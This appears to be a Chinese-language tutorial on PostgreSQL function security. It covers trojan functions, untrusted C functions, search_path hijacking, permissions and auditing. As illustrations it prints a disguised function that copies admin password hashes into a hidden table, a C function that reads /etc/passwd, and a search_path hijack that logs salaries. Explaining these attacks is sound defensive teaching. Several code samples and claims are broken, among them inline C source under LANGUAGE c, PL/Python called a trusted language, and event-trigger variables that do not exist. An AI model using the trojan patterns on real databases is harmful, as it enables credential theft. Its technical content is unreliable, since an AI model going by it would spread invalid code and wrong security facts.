Skip to content

PostgreSQL 函数安全性深度解析

概述

PostgreSQL 的函数、触发器和行级安全策略(RLS)是强大的功能,允许用户在数据库服务器端执行自定义代码。然而,这种强大的功能也带来了重大的安全风险,需要深入理解和谨慎管理。

安全警告

函数在数据库后端服务器进程内部运行,具有数据库服务器守护进程的操作系统权限,因此安全配置至关重要。

安全风险分析

1. 代码注入与"木马"攻击

函数、触发器和行级安全策略允许用户将代码插入到后端服务器中,这为恶意用户提供了"木马"攻击的机会。

实际攻击场景示例

问题陈述:恶意用户创建一个看似无害的函数,实际上会记录敏感信息。

恶意函数示例

sql
-- 恶意用户创建的"无害"函数
CREATE OR REPLACE FUNCTION public.get_user_count()
RETURNS INTEGER AS $$
DECLARE
    user_count INTEGER;
    sensitive_data TEXT;
BEGIN
    -- 表面功能:返回用户数量
    SELECT COUNT(*) INTO user_count FROM users;
    
    -- 隐藏的恶意行为:记录敏感信息到日志表
    SELECT string_agg(username || ':' || password_hash, ',') 
    INTO sensitive_data 
    FROM users 
    WHERE is_admin = true;
    
    -- 将敏感数据写入隐藏表
    INSERT INTO malicious_log (data, timestamp) 
    VALUES (sensitive_data, NOW());
    
    RETURN user_count;
END;
$$ LANGUAGE plpgsql;

-- 其他用户无意中调用这个函数
SELECT get_user_count(); -- 看起来很正常的查询

分析过程

  • 函数表面上只是返回用户数量,看起来无害
  • 但内部却在收集管理员用户的敏感信息
  • 每次被调用时都会泄露数据到隐藏的日志表
  • 其他用户很难发现这种隐藏行为

2. 系统权限滥用

函数在数据库服务器进程内运行,具有服务器守护进程的操作系统权限,可能被用来:

  • 访问服务器文件系统
  • 执行系统命令
  • 修改服务器配置
  • 绕过数据库访问控制

危险操作示例

sql
-- 使用 C 语言编写的不可信函数示例
CREATE OR REPLACE FUNCTION read_server_file(filename TEXT)
RETURNS TEXT AS $$
#include "postgres.h"
#include "fmgr.h"
#include <stdio.h>
#include <stdlib.h>

PG_MODULE_MAGIC;

PG_FUNCTION_INFO_V1(read_server_file);

Datum read_server_file(PG_FUNCTION_ARGS) {
    char *filename = text_to_cstring(PG_GETARG_TEXT_PP(0));
    FILE *file;
    char *content;
    long file_size;
    
    // 直接读取服务器文件系统中的文件
    file = fopen(filename, "r");
    if (!file) {
        PG_RETURN_NULL();
    }
    
    // 读取文件内容
    fseek(file, 0, SEEK_END);
    file_size = ftell(file);
    rewind(file);
    
    content = palloc(file_size + 1);
    fread(content, 1, file_size, file);
    content[file_size] = '\0';
    
    fclose(file);
    
    PG_RETURN_TEXT_P(cstring_to_text(content));
}
$$ LANGUAGE c;

-- 恶意使用:读取系统敏感文件
SELECT read_server_file('/etc/passwd');      -- 读取系统用户信息
SELECT read_server_file('/etc/postgresql/postgresql.conf'); -- 读取数据库配置

DANGER

上述示例展示了不可信语言函数的危险性,它们可以直接访问操作系统资源,绕过所有数据库安全控制。

核心保护策略

1. 严格的权限控制

最强保护措施:严格控制谁可以定义对象(函数、触发器等)。

权限管理最佳实践

sql
-- 创建专门的函数开发角色
CREATE ROLE function_developer;

-- 只给特定用户函数创建权限
GRANT function_developer TO trusted_developer;

-- 撤销公共模式的创建权限
REVOKE CREATE ON SCHEMA public FROM PUBLIC;

-- 创建专门的函数模式
CREATE SCHEMA trusted_functions;
GRANT CREATE ON SCHEMA trusted_functions TO function_developer;

-- 监控函数创建的触发器
CREATE OR REPLACE FUNCTION audit_function_creation()
RETURNS event_trigger AS $$
BEGIN
    INSERT INTO function_audit_log (
        function_name,
        creator,
        creation_time,
        function_definition
    ) VALUES (
        tg_object_identity,
        current_user,
        NOW(),
        pg_get_functiondef(tg_objectid)
    );
    
    -- 发送通知给管理员
    PERFORM pg_notify('function_created', 
        'User ' || current_user || ' created function ' || tg_object_identity);
END;
$$ LANGUAGE plpgsql;

-- 创建事件触发器
CREATE EVENT TRIGGER function_creation_audit
ON ddl_command_end
WHEN TAG IN ('CREATE FUNCTION', 'CREATE OR REPLACE FUNCTION')
EXECUTE FUNCTION audit_function_creation();

2. 安全的 search_path 配置

关键策略:从 search_path 中删除任何允许不可信用户创建对象的模式。

问题场景分析

sql
-- 危险的默认 search_path
SHOW search_path;
-- 结果: "$user", public

-- 攻击者可以在 public 模式中创建同名函数来劫持调用
CREATE SCHEMA attacker_schema;
GRANT CREATE ON SCHEMA attacker_schema TO attacker_user;

-- 攻击者创建恶意函数
SET ROLE attacker_user;
CREATE FUNCTION public.calculate_bonus(salary NUMERIC)
RETURNS NUMERIC AS $$
BEGIN
    -- 记录敏感的薪资信息
    INSERT INTO data_theft_log VALUES (salary, current_user, NOW());
    -- 返回一个看似正常的结果
    RETURN salary * 0.1;
END;
$$ LANGUAGE plpgsql;

安全配置解决方案

sql
-- 为每个数据库角色设置安全的 search_path
ALTER ROLE application_user SET search_path = trusted_schema, pg_catalog;

-- 在函数中显式指定模式
CREATE OR REPLACE FUNCTION trusted_schema.calculate_bonus(salary NUMERIC)
RETURNS NUMERIC AS $$
BEGIN
    -- 使用完全限定的表名
    INSERT INTO trusted_schema.bonus_calculations (
        user_id, 
        salary, 
        bonus_amount, 
        calculation_time
    ) VALUES (
        current_setting('app.user_id')::INTEGER,
        salary,
        salary * 0.1,
        NOW()
    );
    
    RETURN salary * 0.1;
END;
$$ LANGUAGE plpgsql 
SECURITY DEFINER  -- 以函数所有者权限运行
SET search_path = trusted_schema, pg_catalog;  -- 函数内部使用安全的 search_path

3. 引用可信所有者的对象

策略:编写仅引用具有可信所有者的对象的查询。

sql
-- 查看对象所有者
SELECT 
    n.nspname AS schema_name,
    p.proname AS function_name,
    pg_get_userbyid(p.proowner) AS owner,
    CASE 
        WHEN pg_get_userbyid(p.proowner) IN ('postgres', 'trusted_admin') 
        THEN 'TRUSTED' 
        ELSE 'UNTRUSTED' 
    END AS trust_status
FROM pg_proc p
JOIN pg_namespace n ON p.pronamespace = n.oid
WHERE n.nspname NOT IN ('information_schema', 'pg_catalog')
ORDER BY trust_status, schema_name, function_name;

-- 创建视图只显示可信函数
CREATE VIEW trusted_functions AS
SELECT 
    n.nspname AS schema_name,
    p.proname AS function_name,
    pg_get_functiondef(p.oid) AS definition
FROM pg_proc p
JOIN pg_namespace n ON p.pronamespace = n.oid
WHERE pg_get_userbyid(p.proowner) IN ('postgres', 'trusted_admin')
  AND n.nspname NOT IN ('information_schema', 'pg_catalog');

可信与不可信语言

PostgreSQL 将函数语言分为两类:可信和不可信。

可信语言特性

可信语言(如 PL/pgSQL、PL/Python、PL/Perl)提供安全沙箱环境:

sql
-- PL/pgSQL 示例 - 可信语言
CREATE OR REPLACE FUNCTION safe_user_lookup(user_id INTEGER)
RETURNS TABLE(username TEXT, email TEXT) AS $$
BEGIN
    -- 只能访问数据库内的对象
    -- 无法访问文件系统或执行系统命令
    RETURN QUERY 
    SELECT u.username, u.email 
    FROM users u 
    WHERE u.id = user_id 
      AND u.is_active = true;
END;
$$ LANGUAGE plpgsql;

不可信语言风险

不可信语言(如 C、C++)可以:

  • 直接访问内存
  • 调用系统函数
  • 访问文件系统
  • 执行任意操作系统命令
sql
-- 检查当前用户是否为超级用户
SELECT 
    current_user,
    usesuper 
FROM pg_user 
WHERE usename = current_user;

-- 只有超级用户才能创建不可信语言函数
CREATE LANGUAGE c;  -- 需要超级用户权限

不可信语言安全管理

sql
-- 创建受限的函数创建角色
CREATE ROLE secure_function_creator;

-- 即使是超级用户,也应该限制不可信语言的使用
CREATE OR REPLACE FUNCTION create_c_function_with_approval(
    function_name TEXT,
    function_code TEXT,
    approver_signature TEXT
)
RETURNS BOOLEAN AS $$
DECLARE
    approval_valid BOOLEAN;
BEGIN
    -- 验证审批签名
    SELECT verify_digital_signature(function_code, approver_signature) 
    INTO approval_valid;
    
    IF NOT approval_valid THEN
        RAISE EXCEPTION 'Invalid approval signature for C function creation';
    END IF;
    
    -- 记录审计日志
    INSERT INTO c_function_audit (
        function_name, 
        creator, 
        approver_signature, 
        creation_time,
        function_code
    ) VALUES (
        function_name, 
        current_user, 
        approver_signature, 
        NOW(),
        function_code
    );
    
    -- 执行函数创建(需要额外的安全检查)
    EXECUTE format('CREATE OR REPLACE FUNCTION %s %s LANGUAGE c', 
                   function_name, function_code);
    
    RETURN TRUE;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;

实际应用与监控

安全监控系统

sql
-- 创建函数执行监控表
CREATE TABLE function_execution_log (
    id SERIAL PRIMARY KEY,
    function_name TEXT NOT NULL,
    caller_user TEXT NOT NULL,
    execution_time TIMESTAMP DEFAULT NOW(),
    parameters JSONB,
    execution_duration INTERVAL,
    result_summary TEXT
);

-- 创建监控函数的包装器
CREATE OR REPLACE FUNCTION monitored_function_wrapper(
    function_name TEXT,
    parameters JSONB DEFAULT '{}'::JSONB
)
RETURNS JSONB AS $$
DECLARE
    start_time TIMESTAMP;
    end_time TIMESTAMP;
    result JSONB;
    execution_duration INTERVAL;
BEGIN
    start_time := clock_timestamp();
    
    -- 记录函数调用
    INSERT INTO function_execution_log (
        function_name,
        caller_user,
        parameters
    ) VALUES (
        function_name,
        current_user,
        parameters
    );
    
    -- 这里应该实际执行目标函数
    -- 为了示例,我们模拟一个结果
    result := jsonb_build_object(
        'status', 'success',
        'message', 'Function executed safely'
    );
    
    end_time := clock_timestamp();
    execution_duration := end_time - start_time;
    
    -- 更新执行日志
    UPDATE function_execution_log 
    SET 
        execution_duration = execution_duration,
        result_summary = result::TEXT
    WHERE function_name = monitored_function_wrapper.function_name
      AND caller_user = current_user
      AND execution_time = (
          SELECT MAX(execution_time) 
          FROM function_execution_log 
          WHERE function_name = monitored_function_wrapper.function_name
            AND caller_user = current_user
      );
    
    RETURN result;
END;
$$ LANGUAGE plpgsql;

安全审计报告

sql
-- 生成函数安全审计报告
CREATE OR REPLACE FUNCTION generate_function_security_report()
RETURNS TABLE(
    category TEXT,
    function_name TEXT,
    owner TEXT,
    risk_level TEXT,
    recommendations TEXT
) AS $$
BEGIN
    RETURN QUERY
    WITH function_analysis AS (
        SELECT 
            n.nspname AS schema_name,
            p.proname AS func_name,
            pg_get_userbyid(p.proowner) AS func_owner,
            l.lanname AS language,
            CASE 
                WHEN l.lanpltrusted THEN 'TRUSTED'
                ELSE 'UNTRUSTED'
            END AS trust_status,
            CASE
                WHEN pg_get_userbyid(p.proowner) = 'postgres' THEN 'LOW'
                WHEN pg_get_userbyid(p.proowner) IN (
                    SELECT rolname FROM pg_roles WHERE rolsuper
                ) THEN 'MEDIUM'
                ELSE 'HIGH'
            END AS risk_level
        FROM pg_proc p
        JOIN pg_language l ON p.prolang = l.oid
        JOIN pg_namespace n ON p.pronamespace = n.oid
        WHERE n.nspname NOT IN ('information_schema', 'pg_catalog')
    )
    SELECT 
        'Function Security Analysis' AS category,
        schema_name || '.' || func_name AS function_name,
        func_owner AS owner,
        risk_level,
        CASE 
            WHEN risk_level = 'HIGH' AND trust_status = 'UNTRUSTED' THEN
                'CRITICAL: Untrusted function by non-superuser - Review immediately'
            WHEN risk_level = 'HIGH' THEN
                'HIGH: Function by untrusted user - Audit code and permissions'
            WHEN trust_status = 'UNTRUSTED' THEN
                'MEDIUM: Untrusted language - Ensure proper approval process'
            ELSE
                'LOW: Function appears secure'
        END AS recommendations
    FROM function_analysis
    ORDER BY 
        CASE risk_level 
            WHEN 'HIGH' THEN 1 
            WHEN 'MEDIUM' THEN 2 
            ELSE 3 
        END,
        function_name;
END;
$$ LANGUAGE plpgsql;

-- 执行安全审计
SELECT * FROM generate_function_security_report();

最佳实践总结

核心安全原则

  1. 最小权限原则:只授予必要的函数创建和执行权限
  2. 代码审计:所有自定义函数都应经过安全审计
  3. 环境隔离:在受控环境中测试函数
  4. 持续监控:实施函数执行监控和异常检测

安全检查清单

检查项状态备注
限制函数创建权限只有受信任用户可创建函数
配置安全的 search_path排除不可信模式
审计所有自定义函数⚠️定期审查函数代码
监控函数执行⚠️实施执行日志记录
限制不可信语言使用只有超级用户可用
实施代码签名考虑对关键函数实施

IMPORTANT

函数安全性是数据库整体安全策略的重要组成部分。定期审查和更新安全措施是确保系统安全的关键。

通过理解这些安全风险和保护措施,数据库管理员可以在享受 PostgreSQL 强大功能的同时,确保系统的安全性和完整性。